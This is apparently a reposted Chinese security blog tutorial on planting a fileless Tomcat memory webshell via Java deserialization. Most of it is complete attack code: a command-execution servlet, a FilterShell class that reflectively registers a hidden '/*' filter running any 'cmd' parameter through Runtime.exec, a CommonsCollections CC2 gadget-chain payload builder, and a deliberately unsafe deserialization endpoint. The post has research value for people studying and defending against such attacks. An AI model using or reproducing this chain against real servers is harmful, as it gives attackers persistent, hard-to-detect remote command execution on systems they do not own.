天天看點

Tomcat反序列化注入回顯記憶體馬

作者:區塊軟體開發

在之前學的tomcat filter、listener、servlet等記憶體馬中,其實并不算真正意義上的記憶體馬,因為Web伺服器在編譯jsp檔案時生成了對應的class檔案,是以進行了檔案落地。

是以本篇主要是針對于反序列化進行記憶體馬注入來達到無檔案落地的目的,而jsp的request和response可以直接擷取,但是反序列化的時候卻不能,是以回顯問題便需要考慮其中。

尋找擷取請求變量

既然無法直接擷取request和response變量,是以就需要找一個存儲請求資訊的變量,根據kingkk師傅的思路,在org.apache.catalina.core.ApplicationFilterChain中找到了:

private static final ThreadLocal<ServletRequest> lastServicedRequest;
private static final ThreadLocal<ServletResponse> lastServicedResponse;
           

并且這兩個變量是靜态的,是以省去了擷取對象執行個體的操作。

在該類的最後發現一處靜态代碼塊,對兩個變量進行了初始化,而WRAP_SAME_OBJECT的預設值為false,是以兩個變量的預設值也就為null了,是以要尋找一處修改預設值的地方。

Tomcat反序列化注入回顯記憶體馬

在ApplicationFilterChain#internalDoFilter 中發現,當WRAP_SAME_OBJECT為 true時 ,就會通過set方法将請求資訊存入 lastServicedRequest 和 lastServicedResponse中

Tomcat反序列化注入回顯記憶體馬

反射構造回顯

是以接下來的目标就是通過反射修改WRAP_SAME_OBJECT的值為true,同時初始化 lastServicedRequest 和 lastServicedResponse

POC:

package memoryshell.UnserShell;

import org.apache.catalina.core.ApplicationFilterChain;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;


public class getRequest extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp){
        try {
            Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
            Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
            Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");

            //修改static final
            setFinalStatic(WRAP_SAME_OBJECT_FIELD);
            setFinalStatic(lastServicedRequestField);
            setFinalStatic(lastServicedResponseField);

            //靜态變量直接填null即可
            ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
            ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);

            String cmd = lastServicedRequest!=null ? lastServicedRequest.get().getParameter("cmd"):null;

            if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null) || lastServicedRequest == null || lastServicedResponse == null){
                WRAP_SAME_OBJECT_FIELD.setBoolean(null,true);
                lastServicedRequestField.set(null,new ThreadLocal());
                lastServicedResponseField.set(null,new ThreadLocal());
            } else if (cmd!=null){
                InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
                byte[] bcache = new byte[1024];
                int readSize = 0;
                try(ByteArrayOutputStream outputStream = new ByteArrayOutputStream()){
                    while ((readSize =in.read(bcache))!=-1){
                        outputStream.write(bcache,0,readSize);
                    }
                    lastServicedResponse.get().getWriter().println(outputStream.toString());
                }
            }

        } catch (Exception e){
            e.printStackTrace();
        }
    }


    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        super.doPost(req, resp);
    }
    public void setFinalStatic(Field field) throws NoSuchFieldException, IllegalAccessException {
        field.setAccessible(true);
        Field modifiersField = Field.class.getDeclaredField("modifiers");
        modifiersField.setAccessible(true);
        modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
    }
}
           

這裡的WRAP_SAME_OBJECT、lastServicedRequest、lastServicedResponse都是static final類型的,是以反射擷取變量時,需要先進行如下操作:反射修改static final 靜态變量值

public void setFinalStatic(Field field) throws NoSuchFieldException, IllegalAccessException {
    field.setAccessible(true);
    Field modifiersField = Field.class.getDeclaredField("modifiers");
    modifiersField.setAccessible(true);
    modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
}
           

web.xml

<servlet>
    <servlet-name>getRequest</servlet-name>
    <servlet-class>memoryshell.UnserShell.getRequest</servlet-class>
</servlet>

<servlet-mapping>
    <servlet-name>getRequest</servlet-name>
    <url-pattern>/demo</url-pattern>
</servlet-mapping>
           

第一次通路/demo路徑,将request和response存儲到 lastServicedRequest 和 lastServicedResponse 中

第二次通路成功将lastServicedResponse取出,進而達到回顯目的

Tomcat反序列化注入回顯記憶體馬

流程分析

第一次通路/demo

由于請求還沒存儲到變量中此時WRAP_SAME_OBJECT的值為null,是以 lastServicedRequest 和 lastServicedResponse 為 null

Tomcat反序列化注入回顯記憶體馬

由于IS_SECURITY_ENABLED的預設值是false,是以執行到service()方法

Tomcat反序列化注入回顯記憶體馬

service()中調用doGet(),就調用到了poc中的doGet()方法中,對上邊提到的三個變量進行了指派:

Tomcat反序列化注入回顯記憶體馬

之後WRAP_SAME_OBJECT變為true,進入了if,将lastServicedRequest和lastServicedResponse設為object類型的null

Tomcat反序列化注入回顯記憶體馬

第二次通路/demo

由于第一次将WRAP_SAME_OBJECT修改為了true,是以進入if 将 request、response存儲到了lastServicedRequest、lastServicedResponse中

Tomcat反序列化注入回顯記憶體馬

之後又調用了service()

this.servlet.service(request, response);
           

再調用doGet(),此時lastServicedRequest不為null,是以擷取到了cmd參數,并通過lastServicedResponse将結果輸出

Tomcat反序列化注入回顯記憶體馬

環境配置

這裡嘗試用CC2打是以引入commons-collections包

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>
           

導入依賴後,手動加到war包中

Tomcat反序列化注入回顯記憶體馬

除此外還需要構造一個反序列化入口

package memoryshell.UnserShell;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;

public class CCServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String exp = req.getParameter("exp");
        byte[] decode = Base64.getDecoder().decode(exp);
        ByteArrayInputStream bain = new ByteArrayInputStream(decode);
        ObjectInputStream oin = new ObjectInputStream(bain);
        try {
            oin.readObject();
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
        resp.getWriter().write("Success");
    }

}
           

web.xml

<servlet>
        <servlet-name>getRequest</servlet-name>
        <servlet-class>memoryshell.UnserShell.getRequest</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>getRequest</servlet-name>
        <url-pattern>/demo</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>cc</servlet-name>
        <servlet-class>memoryshell.UnserShell.CCServlet</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>cc</servlet-name>
        <url-pattern>/cc</url-pattern>
    </servlet-mapping>
           

構造反序列化

第一步

将 request 和 response 存入到 lastServicedRequest 和 lastServicedResponse 中,跟上邊一樣是以直接貼過來了

Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
            Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
            Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");

            //修改static final
            setFinalStatic(WRAP_SAME_OBJECT_FIELD);
            setFinalStatic(lastServicedRequestField);
            setFinalStatic(lastServicedResponseField);

            //靜态變量直接填null即可
            ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
            ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);


            if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null) || lastServicedRequest == null || lastServicedResponse == null){
                WRAP_SAME_OBJECT_FIELD.setBoolean(null,true);
                lastServicedRequestField.set(null, new ThreadLocal());
                lastServicedResponseField.set(null, new ThreadLocal());
           

第二步

通過lastServicedRequest 和 lastServicedResponse 擷取request 和response ,然後利用 request 擷取到 servletcontext 然後動态注冊 Filter(由于是動态注冊filter記憶體馬來實作的,是以在後邊的操作大緻上與filter記憶體馬的注冊一緻,後邊會對比着來看)

擷取上下文環境

在正常filter記憶體馬中,是通過request請求擷取到的ServletContext上下文

ServletContext servletContext = req.getSession().getServletContext();
           

而這裡将request存入到了lastServicedRequest中,是以直接通過lastServicedRequest擷取ServletContext即可

ServletContext servletContext = servletRequest.getServletContext();
           

filter對象

其次構造惡意代碼部分有些出處

在正常filter記憶體馬中,是通過new Filter将doFilter對象直接執行個體化進去:

Filter filter = new Filter() {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        HttpServletRequest req = (HttpServletRequest) servletRequest;
        if (req.getParameter("cmd") != null){
            byte[] bytes = new byte[1024];
            //Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
            Process process = new ProcessBuilder("cmd","/c",req.getParameter("cmd")).start();
            int len = process.getInputStream().read(bytes);
            servletResponse.getWriter().write(new String(bytes,0,len));
            process.destroy();
            return;
        }
        filterChain.doFilter(servletRequest,servletResponse);
    }

    @Override
    public void destroy() {

    }
};
           

而這裡并不能直接将初始化的這三個方法(init、doFilter),包含到Filter對象中

具體原因我也不太清楚,猜測由于後邊需要進行反序列化加載位元組碼是以需要繼承AbstractTranslet,但繼承了它之後便不能繼承HttpServlet,無法擷取doFilter方法中所需請求導緻

是以這裡采用的方法是實作Filter接口,并直接将把惡意類FilterShell構造成Filter

Filter filter = new FilterShell();           

而doFilter方法便不再包含在filter執行個體中,而是直接在FilterShell類中實作,這樣便也能實作正常filter記憶體馬構造惡意類的效果

最終POC:

package memoryshell.UnserShell;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Context;
import org.apache.catalina.core.*;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Modifier;
import java.util.Map;

public class FilterShell extends AbstractTranslet implements Filter {
    static {
        try {
            Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
            Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
            Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");

            //修改static final
            setFinalStatic(WRAP_SAME_OBJECT_FIELD);
            setFinalStatic(lastServicedRequestField);
            setFinalStatic(lastServicedResponseField);

            //靜态變量直接填null即可
            ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
            ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);


            if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null) || lastServicedRequest == null || lastServicedResponse == null){
                WRAP_SAME_OBJECT_FIELD.setBoolean(null,true);
                lastServicedRequestField.set(null, new ThreadLocal());
                lastServicedResponseField.set(null, new ThreadLocal());
            }else {
                ServletRequest servletRequest = lastServicedRequest.get();
                ServletResponse servletResponse = lastServicedResponse.get();

                //開始注入記憶體馬
                ServletContext servletContext = servletRequest.getServletContext();
                Field context = servletContext.getClass().getDeclaredField("context");
                context.setAccessible(true);
                // ApplicationContext 為 ServletContext 的實作類
                ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
                Field context1 = applicationContext.getClass().getDeclaredField("context");
                context1.setAccessible(true);
                // 這樣我們就擷取到了 context
                StandardContext standardContext = (StandardContext) context1.get(applicationContext);

                //1、建立惡意filter類
                Filter filter = new FilterShell();

                //2、建立一個FilterDef 然後設定filterDef的名字,和類名,以及類
                FilterDef filterDef = new FilterDef();
                filterDef.setFilter(filter);
                filterDef.setFilterName("Sentiment");
                filterDef.setFilterClass(filter.getClass().getName());

                // 調用 addFilterDef 方法将 filterDef 添加到 filterDefs中
                standardContext.addFilterDef(filterDef);
                //3、将FilterDefs 添加到FilterConfig
                Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
                Configs.setAccessible(true);
                Map filterConfigs = (Map) Configs.get(standardContext);

                Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
                constructor.setAccessible(true);
                ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
                filterConfigs.put("Sentiment",filterConfig);

                //4、建立一個filterMap
                FilterMap filterMap = new FilterMap();
                filterMap.addURLPattern("/*");
                filterMap.setFilterName("Sentiment");
                filterMap.setDispatcher(DispatcherType.REQUEST.name());
                //将自定義的filter放到最前邊執行
                standardContext.addFilterMapBefore(filterMap);

                servletResponse.getWriter().write("Inject Success !");
            }

        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        } catch (InvocationTargetException e) {
            e.printStackTrace();
        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        } catch (InstantiationException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        if (request.getParameter("cmd") != null) {
            //String[] cmds = {"/bin/sh","-c",request.getParameter("cmd")}
            String[] cmds = {"cmd", "/c", request.getParameter("cmd")};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            byte[] bcache = new byte[1024];
            int readSize = 0;
            try (ByteArrayOutputStream outputStream = new ByteArrayOutputStream()) {
                while ((readSize = in.read(bcache)) != -1) {
                    outputStream.write(bcache, 0, readSize);
                }
                response.getWriter().println(outputStream.toString());
            }
        }


    }

    @Override
    public void destroy() {
    }
    public static void setFinalStatic(Field field) throws NoSuchFieldException, IllegalAccessException {
        field.setAccessible(true);
        Field modifiersField = Field.class.getDeclaredField("modifiers");
        modifiersField.setAccessible(true);
        modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
    }
}
           

将惡意類的class檔案,傳入cc2構造payload

package memoryshell.UnserShell;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class cc2 {

    public static void main(String[] args) throws Exception {
        Templates templates = new TemplatesImpl();
        byte[] bytes = getBytes();
        setFieldValue(templates,"_name","Sentiment");
        setFieldValue(templates,"_bytecodes",new byte[][]{bytes});

        InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});


        TransformingComparator transformingComparator=new TransformingComparator(new ConstantTransformer<>(1));

        PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
        priorityQueue.add(templates);
        priorityQueue.add(2);

        Class c=transformingComparator.getClass();
        Field transformField=c.getDeclaredField("transformer");
        transformField.setAccessible(true);
        transformField.set(transformingComparator,invokerTransformer);

        serialize(priorityQueue);
        unserialize("1.ser");

    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.ser"));
        out.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
        Object o = In.readObject();
        return o;
    }
    public static byte[] getBytes() throws IOException {
        InputStream inputStream = new FileInputStream(new File("FilterShell.class"));

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        int n = 0;
        while ((n=inputStream.read())!=-1){
            byteArrayOutputStream.write(n);
        }
        byte[] bytes = byteArrayOutputStream.toByteArray();
        return bytes;
    }

}
           

生成1.ser,将其進行base64編碼

Tomcat反序列化注入回顯記憶體馬

傳參兩次,第一次将請求存入lastServicedRequest 和 lastServicedResponse 中,第二次動态注冊filter記憶體馬

Tomcat反序列化注入回顯記憶體馬

注入後,成功執行指令

Tomcat反序列化注入回顯記憶體馬
  • Tomcat中一種半通用回顯方法、基于tomcat的記憶體 Webshell 無檔案攻擊技術,之後引出了通過response進行注入的方式,但不足之處在于shiro中自定義了doFilter方法,是以無法在shiro中使用。
  • 基于全局儲存的新思路 | Tomcat的一種通用回顯方法研究 ,針對上述問題通過currentThread.getContextClassLoader()擷取StandardContext,進一步擷取到response,解決了shiro回顯的問題,但不足在于tomcat7中無法擷取到StandardContext。
from: https://xz.aliyun.com/t/12494

繼續閱讀